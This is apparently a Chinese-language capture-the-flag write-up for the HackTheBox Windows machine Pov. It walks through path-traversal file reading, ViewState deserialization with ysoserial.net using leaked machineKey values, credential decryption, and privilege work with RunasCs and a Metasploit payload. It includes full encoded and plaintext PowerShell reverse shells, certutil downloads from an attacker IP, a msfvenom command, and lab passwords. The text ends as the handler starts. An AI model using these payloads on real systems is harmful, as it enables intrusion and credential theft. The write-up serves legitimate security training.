渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

内容分享2周前发布
0 0 0

url:https://app.hackthebox.com/machines/Pov

介绍

Pov 是一台中等配置的 Windows 机器,启动时会显示一个包含企业网站的网页。攻击者枚举该初始网页后,能够找到子域名 `dev.pov.htb`。访问该子域名后,`download` 选项存在远程文件读取漏洞,攻击者可以利用该漏洞从 `web.config` 文件中获取有价值的信息。该子域名使用了 `ViewState` 机制,结合从 `web.config` 文件中泄露的密钥,该机制存在不安全的反序列化漏洞,导致攻击者以用户 `sfitz` 的身份执行远程代码。通过查看远程文件系统,攻击者可以发现并篡改一个文件,该文件泄露了用户 `alaading` 的凭据。一旦攻击者获得了用户 `alaading` 的代码执行权限,就可以滥用 `SeDebugPrivilege` 权限,在特权应用程序的上下文中执行代码,最终以 `nt authoritysystem` 的身份执行代码。

靶场信息

目标:Pov

域名:http://pov.htb和http://dev.pov.htb

ip:10.129.67.207

操作系统:windows server

攻击路径:通过LFI漏洞读取web.config密钥,利用ViewState反序列化获取初始shell,横向移动至alaading用户后,滥用SeDebugPrivilege权限最终提升至SYSTEM权限。

过程

1.信息收集

首先进入网页链接VPN后开启机器。

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

1.1测试一下连通性

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

1.2端口扫描

接着使用Rustscan进行端口扫描

└─# rustscan -a 10.129.67.207

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

发现只有80端口进行开放

nmap扫描

└─# nmap -Pn -sC -sV 10.129.67.207

└─# nmap -sV -sC -O -T4 10.129.67.207

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

1.3DNS解析

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

1.4指纹识别

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

whatweb查看网站相关信息

└─# whatweb http://10.129.67.207/

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

访问网站后发现没有什么功能点,尝试目录扫描枚举网站根目录,子域名枚举,网站框架枚举。

1.5枚举

1.5.1目录扫描

先尝试dirsearch扫描出来一些目录

└─# dirsearch -u http://10.129.67.207/

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

用nuclei试试

└─# nuclei -u http://10.129.67.207/

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

gobuster尝试一下

└─# gobuster dir -u http://10.129.67.207 -w /usr/share/wordlists/dirb/common.txt

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

1.5.2子域名爆破

这个过程主要看尝试的字典大小、数量、强大程度了,挨个字典进行尝试

┌──(root㉿kali)-[~]

└─# ffuf -c -w /usr/share/wordlists/amass/subdomains-top1mil-110000.txt -u 'http://10.129.67.207' -H “Host:FUZZ.alert.htb” -fw 20

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

gobuster vhost –append-domain -u http://pov.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

后来也可以通过查看网页界面信息发现,这里发现有个子域名。

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

将子域名添加到hosts文件中后访问

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

2.利用 download 远程文件读取漏洞,获取 web.config

根据题目介绍,我进到了这个页面后找有关下载的位置。

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

看来是不允许访问敏感文件。

它指向我们请求下载的文件,尝试一些载荷,用于远程任意文件读取。鉴于服务器是IIS服务器,我们可以尝试读取Web应用程序根目录下的web.config文件。

2.1LFI文件包含漏洞

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

这表明文件参数可能受到某种过滤导致其中的../部分被删除了。我又尝试了/../一下,结果还真绕过了。获取到了一些信息。

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

Burp中有关于这个的插件

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

使用burp插件发现viewState是被加密的

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

<configuration>

<system.web>

<customErrors mode=”On” defaultRedirect=”default.aspx” />

<httpRuntime targetFramework=”4.5″ />

<machineKey decryption=”AES” decryptionKey=”74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43″ validation=”SHA1″ validationKey=”5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468″ />

</system.web>

<system.webServer>

<httpErrors>

<remove statusCode=”403″ subStatusCode=”-1″ />

<error statusCode=”403″ prefixLanguageFilePath=”” path=”http://dev.pov.htb:8080/portfolio” responseMode=”Redirect” />

</httpErrors>

<httpRedirect enabled=”true” destination=”http://dev.pov.htb/portfolio” exactDestination=”false” childOnly=”true” />

</system.webServer>

</configuration>

这个配置文件是 ASP.NET 应用程序的Web.config文件片段,主要配置了错误处理、加密密钥和 HTTP 重定向规则。

该ASP.NET配置文件存在严重安全风险,主要体现在三个层面:

首先,
<machineKey>
节点硬编码了AES解密密钥和SHA1验证密钥,攻击者一旦获取这些密钥便可伪造身份验证票据或解密敏感数据;

其次,HTTP错误处理配置将403错误重定向至内部域名
dev.pov.htb:8080
,暴露了内部网络结构,且可能被利用进行开放重定向攻击;

最关键的是,
<httpRedirect>
设置中
exactDestination="false"
参数会保留原始请求路径,结合
childOnly="true"
可构造路径遍历攻击(如请求
/../../../windows/win.ini
会重定向至
http://dev.pov.htb/portfolio/../../../windows/win.ini
),可能直接读取内部服务器文件。这套配置实质上创建了一个非预期的代理通道,使外部攻击者能够通过重定向机制探测和访问内部网络资源。

不过我们知道了指定要下载的文件名的 HTTP POST 参数是file,对此网页的信息进行查看。我们知道web框架是ASP.NET4.0.30319版本。

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

根据题目提示:

该子域名使用了 `ViewState` 机制,结合从 `web.config` 文件中泄露的密钥,该机制存在不安全的反序列化漏洞,导致攻击者以用户 `sfitz` 的身份执行远程代码。

<machineKey decryption=”AES” decryptionKey=”74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43″ validation=”SHA1″ validationKey=”5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468″ />

作用:配置加密密钥用于安全相关操作(如 ViewState 加密、表单身份验证)

参数:


decryption="AES"
:使用 AES 算法解密


decryptionKey
:256 位 AES 解密密钥(64 字符十六进制)


validation="SHA1"
:使用 SHA1 哈希算法验证数据


validationKey
:512 位验证密钥(128 字符十六进制)

所以上网查询相关关于ViewState机制是什么。

https://book.hacktricks.wiki/en/pentesting-web/deserialization/exploiting-__viewstate-parameter.html

ViewState 作为 ASP.NET 中的默认机制,用于跨网页维护页面和控制数据。ViewState 是其中用于维护和管理页面状态的一部分。它在客户端和服务器之间存储页面和控件的状态。在呈现页面的 HTML 期间,页面的当前状态和回发期间要保留的值将序列化为 base64 编码的字符串。然后,这些字符串被放置在隐藏的 ViewState 字段中。

漏洞形成原因:

ViewState 未加密:如果 ViewState 未加密,攻击者可以通过篡改 ViewState 内容植入恶意代码。

ViewState 未签名或签名不严密:未经签名或者签名不严密的 ViewState 可能被攻击者修改,并在服务器上反序列化执行,从而导致代码执行漏洞。

可以参考一下这篇

深入解析 ASP.NET 的 ViewState 反序列化漏洞

https://blog.csdn.net/qq_33163046/article/details/141549823

结合之前得到的ValidationKey 和 decrytpionKey,接下来使用反序列化工具生成payload。

2.2反序列化

关于.net攻击手法中其中有一种就是 ViewState 反序列化

ysoserial.net 是在常见 .NET 库中发现的实用工具和面向属性的编程“小工具链”的集合,这些库在适当的条件下可以利用 .NET 应用程序对对象执行不安全的反序列化。主驱动程序接受用户指定的命令并将其包装在用户指定的小工具链中,然后将这些对象序列化为 stdout。当类路径上具有所需小工具的应用程序不安全地反序列化此数据时,将自动调用该链并导致该命令在应用程序主机上执行。

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

先使用反向shell生成器,生成powershell后放入到-c参数中。 用ysoserial.exe生成反序列化代码,这个工具利用key进行加密,构造一个指定命令的Viewstate载荷。生成的代码更换到__VIEWSTATE参数里面,因为是-p参数是payload,payload的参数是ViewState,然后开启监听。


./ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMwAiACwAOQAwADAAMQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" --path="/portfolio/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

h/Hdc/6RG%2BEQNJWCliDPPNjlZoKLa1Zf8km7whkLf1EOynr4Ia9MhSbd6pQ3lqp64RFCuNsZUNpLpOU0uCQfC0oAkOnhXUhlizqOgkfSk19Zr3O9bCJLNUzDXNc8lHBntJxKKJs2GMx6aMCttHEjBWgPYMjLwQUFFxUyKhwKdQ3PUHqv/UAFHkHY0i11ZhlvNjW8Z8GA%2BT//aqzeMl3AEW1wYhcM9RBMRVxnXrqD2dP5rtAZDgdqRGavMHciMs0wuKC5oQttZTowTmn4ljcqDjvBBVpWrxTHGnwkLpA4zLnilbVcx88VHf/jXvQW5R57u6U/kvQGVuQj2pqlEaCa5aICZV/4NQQgTHtRxpNEoa3W9NdqbXw3FOQjBTZAoQko9nMqojvpcnWFyCKgny%2BZFXsvycevTwvlHnOqyFA0/jSJA%2BFZ8rbuw8cIMRudTTdY8wxP4MiX5jXpD6fq4Ya%2Bo2civJqeBQD0IDh3DMa8sa9P%2BaQxlbpAP7OmmSMW%2B%2BXdUw/93hZt%2BZ7LR2BDr4C4%2BO1LDGqYuROUqPKj9VRMeAsiaqCCarWlSpzeIlL%2BZfwuZu64CMMfiin1Vz1N1QFy7%2Be5isFBAAf%2BudsEyPSavTz537jYYhQF6YKaAe7DriT1AD7wvEEa3NAB5dTsBswn5FjkfYp/ttqGr7wYLwO10v5g8Gu8bLr2Ap9nHG7ACcT25nTGq3oxxfBsthmnH7sGWTDde%2BflFrYDIC5c69xkCzKnLDlcxhaWdYv3hd2oH3RXc4WzCtD3sGJipgGMIfg9mHFvxzqKlZ%2BLvW4ukB4QdT/8owiaHlJNPT83nVYEYpfjd5oxIR2FHGOLvTT4Uq6irirvJhk%2B0ke7qy45PxW0CZpf2saPWZVrHZryLKGQua98w3JYxINb0OcZN2okr7QhoSOHeX8DJgEK3oQUTpKj1VWl8QpPkURJSiLS2YFvjcxgC4xpChuxJ9x4y6bH7GPjTBBcOHqeCzjr89IwZcg%2BB294IH55MJguTluALlB2ot24dUfdJLfDlGYXd6InSaoAPP/EiWljhQWlxPfdbOrLH9iy/i5QQc8277oCiZhH8nAkNERb4CwLnojbthGBfsOlJQbtWrNZu6XgZvHb8UysJp0ZAS0doMVJeiFCrWkb1Aogxz7i1EBVPghyhSg%2BiwFrAGQukWRxxEu%2Ba7sm20YDHjJC7g6b4k3QeCn8ZfcIybJkhMSFuCZT5NT5Yi3IVrIiDTxaEoY7elV8WFj5sjep81clWNmBYOTwHcGLWYsB9s7TgyCE6TomTtaytiCPQFr%2BqxN9PbKp3cwO9MMPe631Jl3vfkcOOsUh4InT6hRibi6waMdyBtc9W7IauVzuSMZnTGlIxpx/IL7IMJsueH0rdVi7xwVW8z9/06XUgEL6%2BnTgT1bgrLRnFCdnH6UhJWEJGfRLQGHJHr/Jw8gOQYGQuEQuM6hAj4NkgKBpDOpoWMMlsA2Bh7jfuF3DWebDhvf%2BoNjAJk5haLaUds5kiR0xPufd6GIqF8IiDeNU5sFbYGscLcqVf84z17bq2TElI3MvqrkTNGeB3tXcvvpUsrxRj46ic45Af8/EsPu/KgnhH/TjH7LojijVnhSHs8SMZonvCpBBAifHfU4jF4d7qEd6n/fZdoHXm8FvLfPfxG%2BnNfseDndi8AZcTGQ2OQ4BjxseQFdhJoUTQ8sLOiliIBBO/NvTL6QmHy6h6EhINm%2BtGhbS/cVrAahGFsTGY6NMR4NU95VRIaifxEfTfox7qzth8qheQWYUBdWobqgpJiBJwPYn/qEkwVpx2jGiiY3pkTVHmDA786r/rmruLUnIeZZm4yM3bHC7E4ti0zHRpGx1U4FGTEtY78%2BrScDzjpe913h/XjC1P07MIb%2BSKXAfO4Pv4siHkk8b8DnvdlnF7UCTzCFAlMUiDGq18%2B1rOLawzrbtu22o62HaJDZz71Iq8%2BdOIW8tpY679H6DoJL3Zq%2BenfotHeknZ454mG3ThP1tzoTcS3KYcv/0JlcBqR8UNHeJMr4jxEKUCBXV6UXXbYmxZ0/IoRJ/w3swlayaK4HfD3K7lv6mRKzxQC7myeObwddz4Eclkrx%2BOIStuezzqWoK2BR2zjJAYH%2BC6mhpZvjDmLz%2BJRnP%2B9aHC47YOJhYMPT/969QS7tMLp5lJlVQQMVXElsWqhuzg3AvzbdiXWCLFPdbkLnGnB4N3KhHdqPIjw69FQYajKwBfYUqAfym%2Bl/jgFA8o6MrNb5VQa0Uz7boykWB1h2bttMdK61QT4xeJAHOkn6LeUf9jFsh4Y127RPEtarQQUHJCo%2BXvbBa7UaMKrAreUqSK6GlD22SaNGoNJmnoELNW1FMtr2VYKZlbMWFiIXQJ%2BV7w5625VprplciqqdmtTRxcXCXmhwL4mk2fkzD4/YHRvcYBehFhsJZe5rMpEJ0HBj8DryRCTK2bdHDm7vw3z9P9Rxd9d4d71ncqBS%2BMzAkiQU28dlSr9ESAm1FQpnOPjccjJFX/fD8tNEbr63%2BdBmuwtW0X9sYbwn3yNbHw3tyGm2cbus7HmsST22/nKrHcY1wpicRTFS4nxv7h3Kl5teDDF7ruLLfg1xTy%2BAzaPxTNYwkuk1fiBrm2nP9eSb/NmPAYbCa0aoWbRspr9bA44DpVE44MHrJMrwF49OIkJGGutLWiG/TqSVlavf9wC0O0OJ30vkKfyNhCX3cTOGldeY1Laa9cvhMR98njzkq51bkYLV2A82A4Fz51UAsG6%2BEhg/jgzGzrDEopnaifOpra3eLhikySYwTdtsTC0ELQQhmyh781B924YnSl/ByGVc0dm4tn4K9xVFcjT8zpbovGi/eoSt3UedBSzLkFMHs979IBmoVrxoCENsyLMFvBNixwjDZlTF23aTzfIdFbbefOJ/coENucLWMZ/9BKnR14Qmw%2B6ellvLFyzWPWurTQC/AWQzWq0/acd6fGoIMIVDpB/BsMzgXB1TQKrLdTFfCmhZVweH40EIzSM7rN0k2gYuWtpID%2BHhkFXdXyw0PrOcWdMJoRCyf8mbKv/jEg0BBxIngOE2sjuT1BcmCYkJlDKNgQa00IrOZTknFokm7B0FRnYuPNM6qCz3fmwHUvFc6d9l21bc2OOKL6ny7EmQzADwnYQbtud98dZej2xHph1YiFR1163akk5HibMcaTNj2HL487NAZGvIsfyPXL9icxyX%2BMNLqqVTnAdSF1egn0fqZhge6Wl9JrpIxNsEPKzbiKxFCJxF7VdxnbVqxExJZkEPkU9Q%2BKocia%2BrlXWvGqIsCB6bvQQOiv6rCYULSFKGlfrtSL8zKEg%2Bv%2BHGGvoTQHqPxczrrk/KPYz4EznIjP0RoW6DVz4IeQ/RZ4kDO/JcfNriTF5LLGJSgyuxsvSn5PP/lcQL3TbxXZd5IkpW49L/VVmtYayUI8aSk4bbToYRhFy8XsFd4IaSbx5UYo7iCI2VNhMtJS8XZjabG4V%2BWX%2BQ5BMgMq8e7OZnQ%2BUiH5dE4ceBKkWSsv/BGWCx5ZEbsRwhsBtnSVjtRmELwmkcF0Iq1eeJweqeKu2NVfD5nYuGKHbtMu3%2BymfuBkAxHtPvWDERiuFfjb0M4TS9QGPRnbqsSoaSCBAy9SyQbSaEFwICq0f3dAE%2BHcQ9eqz3CylbKq6b4MG5BRqa1H66uECyCF8eb6iiRxt/QPB1sdLp%2BdHf%2BGXJSALOeLcD2gFJIAwNM0phf2FsPt3q7pw3FpVDERorN76vRvpd9Vvnl4zGglphIVnZv8vT61yWkEmYkJ79HKU1gDYg2h2f8ztBPUVoy7iHiQ7ODxNFRmDpqDIEAZe3VcvGl8r8zREH3We9H64NqsBoqxqQv3cQAZx/w1%2Bd/HQ8Mgmi0RzChWV8eZcWZifzXEakXOTDs2yC4IH/9h6LSmCCk14DZMhS9w2/wzVb4UbkcVSJOukX19hs5n8rOgYAzGaRkgrMGsfYfc7z3dxKgq16ILPt2lJCU861afmd/OerZieulVmi0b6wMgLDFoLgyn37LqZnvRojkylrFYyVGWt3SmU1ywAIaDHdHJwn1Mc9BFbrfWdjthVsUG3R7C0iY11jq5jGLXHMqoO0M/llLwRQT/hPlsPfAnpm6PrbY38zcsvfE9ongLmahMwMDoIDMiR3D/Qx5W3Z0IHG0PhOXeVqFNffYkDIb9BDADYXOcktADg2TrX14aMIHhau91x9YfqAdkoWNOTjUfuSLkSVgWvdZGGeKhrpzfI2lcE3GNDo4PVQypEMsJ8YaTeIwDQ3wnAunsrrw1T6unfovktnMkaDfHrxmigoH4kNe6Z7sHBJ%2BMs7DKJJU2mUSLbWyaNQ0RdDloZjqokdgQffwm8HwyGdFNbDqG%2Bv/%2Bymo5WIvQ9R5rE7GGtxJPE8KZDplstO3IJ25h99peSZQ59ymJELSQ%2BJKGwj2zEGrjCNVmHIvA5Ccm/9N3xmC6rY%2B7S5TF/AMmuEWuqLjInIRSOScqUVfP59QNfYFp9noRWnE06Daor9gkBGI5IVa7NZ/oRa%2BI%2BQAqgHR7238q37ynX875lfLTPtrzds0rL1osOC7ikAh9o%2BITRjUmaxrRooOby4zqcM8Wmi4KjFublEQQRMajcJqtdmHZukzYRa7n88d9GoM7JjNzVoJvO9jA5M41SnIAo9Xq29p0e%2BLX8Csy7FOY58xNQ2zqV20JxuhA1w7drYwpYsL0314V7fGVaXflieofLyxpmJfKH1EWyr10vm5I0yBo1QL2LyYcob8f%2BkIjzvb%2B81qlJ/F399HdQ%2B5WE4ToiRCtgEizTdlCsVNC1AbCqX8BCG1USew0Bb688vPJTd3nO0NFgO%2B8H7K/liwq5Aep5%2BGxHN/hwjF

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

重新发送后开启9001端口的监听后,成功反弹shell

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

通过cd /user目录下后,发现还有alaading用户,所以想到了横向过去。

3.横向移动

通过对当前用户下的目录的目录结构查看,发现connection.xml文件,进行查看

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

查看文件,好像是alaading的凭证,但是需要解密

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

这是一个 PowerShell 凭据对象的 XML 序列化文件,其中的密码是使用 Windows DPAPI(Data Protection API)加密的。解密需要在同一台计算机、同一个用户账户下进行。这里有两种方法我使用了其中一种。

3.1使用 PowerShell 解密

# 直接导入并解密

$credential = Import-Clixml -Path “C:userssfitzdocumentsconnection.xml”;

$username = $credential.UserName;

$plainPassword = $credential.GetNetworkCredential().Password

Write-Host “用户名: $username”;Write-Host “密码: $plainPassword”

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

成功获得用户alaading的密码f8gQ8fynP44ek1m3

username:alaading
password:f8gQ8fynP44ek1m3

现在,我们可以使用Invoke-Command模块以用户 alaading的身份运行命令。

# 1. 定义用户名和密码

$username = “alaading”

$password = “f8gQ8fynP44ek1m3”

# 2. 创建一个 PowerShell 凭据对象

$secpassword = ConvertTo-SecureString $password -AsPlainText -Force

$credential = New-Object System.Management.Automation.PSCredential($username, $secpassword)

# 3. 定义反弹 shell 的 payload (请修改这里的 IP 地址)

$ip = “10.10.16.3” # 攻击机的ip

$port = 4444 # <— 确保这个端口和你 nc 监听的端口一致

$payload = “$client = New-Object System.Net.Sockets.TCPClient('$ip',$port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”

# 4. 对 payload 进行 Base64 编码

$encodedPayload = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($payload))

# 5. 使用 alaading 的凭据,在本地执行反弹 shell 命令

Invoke-Command -ComputerName localhost -Credential $credential -ScriptBlock {powershell -EncodedCommand $using:encodedPayload}

$cred.GetNetworkCredential() | fl

$username = 'alaading'

$password = 'f8gQ8fynP44ek1m3'

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force

$credential = New-Object System.Management.Automation.PSCredential ($username, $securePassword)

Invoke-Command -ComputerName localhost -Credential $credential -ScriptBlock {powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMwAiACwAOQAwADAAMQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=}

成功拿到alaading用户

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

成功拿到flag:e36956f842700d6fdc282927f6b559b3

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

查看一下用户权限,发现SeDebugPrivilege权限被禁止,不能使用hashdump,这里使用Runascs

‌hashdump是一种用于提取Windows系统中用户密码哈希值的工具,常见于渗透测试和安全分析场景

在Windows操作系统中,SeDebugPrivilege是一种特别强大的权限,可以让持有该权限的进程读取或修改几乎所有其他进程的内存空间,即使是那些以系统或管理员级别运行的进程。在Metasploit框架下,拥有了这个权限,就可以对系统的SAM数据库进行读取

还有一种方法是runascs.exe反弹

Invoke-WebRequest -Uri http://10.10.16.3:8001/Desktop/RunasCs/RunasCs.exe -OutFile 'C:userssfitzdownloadsRunasCs.exe'

.RunasCs.exe alaading f8gQ8fynP44ek1m3 cmd.exe -r 10.10.16.2:9999

查看权限:whoami /priv

cmd状态下SeDebugPrivilege权限是Disabled,切换到powershell状态后变成Enabled

4.提升root权限

4.1alaading用户获取debug权限

RunasCs是一个实用程序,用于运行具有不同权限的特定进程,而不是使用显式凭据的用户当前登录所提供的权限。

启动本地监听后,打开找到文件存放位置

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

certutil -urlcache -split -f http://10.10.16.3:8001/Desktop/RunasCs/RunasCs.exe

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

下载成功后,并运行

./RunasCs.exe alaading f8gQ8fynP44ek1m3 powershell.exe -r 10.10.16.3:9999

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

成功开启alaading用户的SeDebugPrivilege权限已经是enabled

4.2导出hash值

使用msfvenom生成小马,Windows TCP反向shell->在Windows机器上上传->执行payload.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.3 LPORT=8888 -f exe -o payload.exe

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

-p windows/x64/meterpreter/reverse_tcp:指定使用的payload类型为Windows x64的Meterpreter反向TCP。
LHOST=10.10.16.3:设置监听的本地主机IP地址为10.10.16.3,即攻击者的IP地址。
LPORT=8888:设置监听的本地端口为8888。
-f exe:指定输出格式为Windows可执行文件(.exe)。
-o paload.exe:指定输出文件名为payload.exe

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

将文件上传到靶机

certutil -urlcache -split -f http://10.10.16.3:8001/Desktop/RunasCs/payload.exe

成功下载

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

启动msf等待受害者点击exe

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

msf > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp

msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp

payload => windows/x64/meterpreter/reverse_tcp

msf exploit(multi/handler) > set LHOST 10.10.16.3

LHOST => 10.10.16.3

msf exploit(multi/handler) > set LPORT 8888

LPORT => 8888

msf exploit(multi/handler) > run

此处的payload要和msfvenom设置的一样,不然会报错

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

靶机要运行一下马

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

已启动反向TCP处理

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

